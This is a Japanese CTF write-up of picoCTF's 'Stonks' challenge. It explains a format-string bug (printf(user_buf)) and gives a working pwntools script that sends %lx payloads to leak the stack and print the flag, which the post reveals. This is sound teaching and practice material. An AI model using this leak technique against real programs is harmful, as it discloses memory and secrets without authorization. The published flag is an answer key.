FSBでスタックを読み出す
picoCTFのStonks。
の2点から、単純にスタックを読み出してflagをゲット。
脆弱性の発見と戦略
与えられたソースコードを見るとFSBの脆弱性がすぐ目に付く:
int buy_stonks(Portfolio *p) { char api_buf[FLAG_BUFFER]; FILE *f = fopen("api","r"); fgets(api_buf, FLAG_BUFFER, f); printf("Using patented AI algorithms to buy stonks\n"); char *user_buf = malloc(300 + 1); printf("What is your API token?\n"); scanf("%300s", user_buf); printf("Buying stonks with token:\n"); printf(user_buf); // 👈 ここがFSBの部分
さらに、flagがapi_buf
という変数にコピーされている。つまり、flagがスタック上にあるということ。
scanf("%300s", user_buf);
にブレイクポイントを打ってgdbでスタックの様子を見ると、確かにスタック上にフラグがある:
最初はaaaaaaa_%p_%p_%p_%p_%p
のように刺していたが、0x6161616161
の文字列が一向に出力されなかった。
そこで、スタック上にある値をそのまま表示させるために%x
や%lx
を使って攻撃。
%x
: 整数を16進で出力する%lx
: 倍精度整数を16進で出力する
exploit
buy_stonks
関数は、実行して番号の1を選択すれば以下のようにscanf("%300s", user_buf)
が実行される:
shoebill@pwner:~/pico$ ./a.out Welcome back to the trading app! What would you like to do? 1) Buy some stonks! 2) View my portfolio 1 Using patented AI algorithms to buy stonks Stonks chosen What is your API token?
実験しながらexploitを組んでいたので、ペイロードを調整できるような形になりました:
#!/usr/bin/env python3 import sys from pwn import * def converter(output): result = b'' output_list = output.split(b'_') for i in range(len(output_list)): result += p64(int(output_list[i], 16)) return result[:-1] def generator(start, end): payload = '%' + str(start) + '$lx' for i in range(int(start) + 1, int(end) + 1): payload += '_%' + str(i) + '$lx' return payload def attack(conn): conn.sendlineafter('portfolio\n', '1') payload = generator(start, end) conn.sendlineafter('token?\n', payload) conn.recvline() output = conn.recvline() flag = converter(output).replace(b'\x00', b'') info('flag was found! -> {}'.format(flag)) def main(): conn = remote('mercury.picoctf.net', 20195) attack(conn) conn.close() if __name__ == '__main__': start = sys.argv[1] end = sys.argv[2] main()
実行結果:
shoebill@pwner:~/pico$ ./exploit.py 2 30 [+] Opening connection to mercury.picoctf.net on port 20195: Done ... [*] flag was found! -> b'\xb0\x04\x08\xc3\x89\x04\x08\x80\xed\xee\xf7\xff\xff\xff\xff\x01`!a\x08\x10\xc1\xef\xf7\xc7\xed\xee\xf7 \x801a\x08\x01\xf0Ca\x08\x10Da\x08picoCTF{I_l05t_4ll_my_m0n3y_6045d60d}\x96\xff\xf8\x9a\xf2\xf7@\xc4\xef\xf7w\xa4\xbf\x01\xe9\xbc\xd8\xf7' [*] Closed connection to mercury.picoctf.net port 20195
ちなみにこの場合、刺してるペイロードは以下のよう:
%2$lx_%3$lx_%4$lx_..._%28$lx_%29$lx_%30$lx
かなりゴリ押しな感じがだが、どのwriteup見てもこんな感じ。
16進数と文字(bytes型)の変換についてはこちら: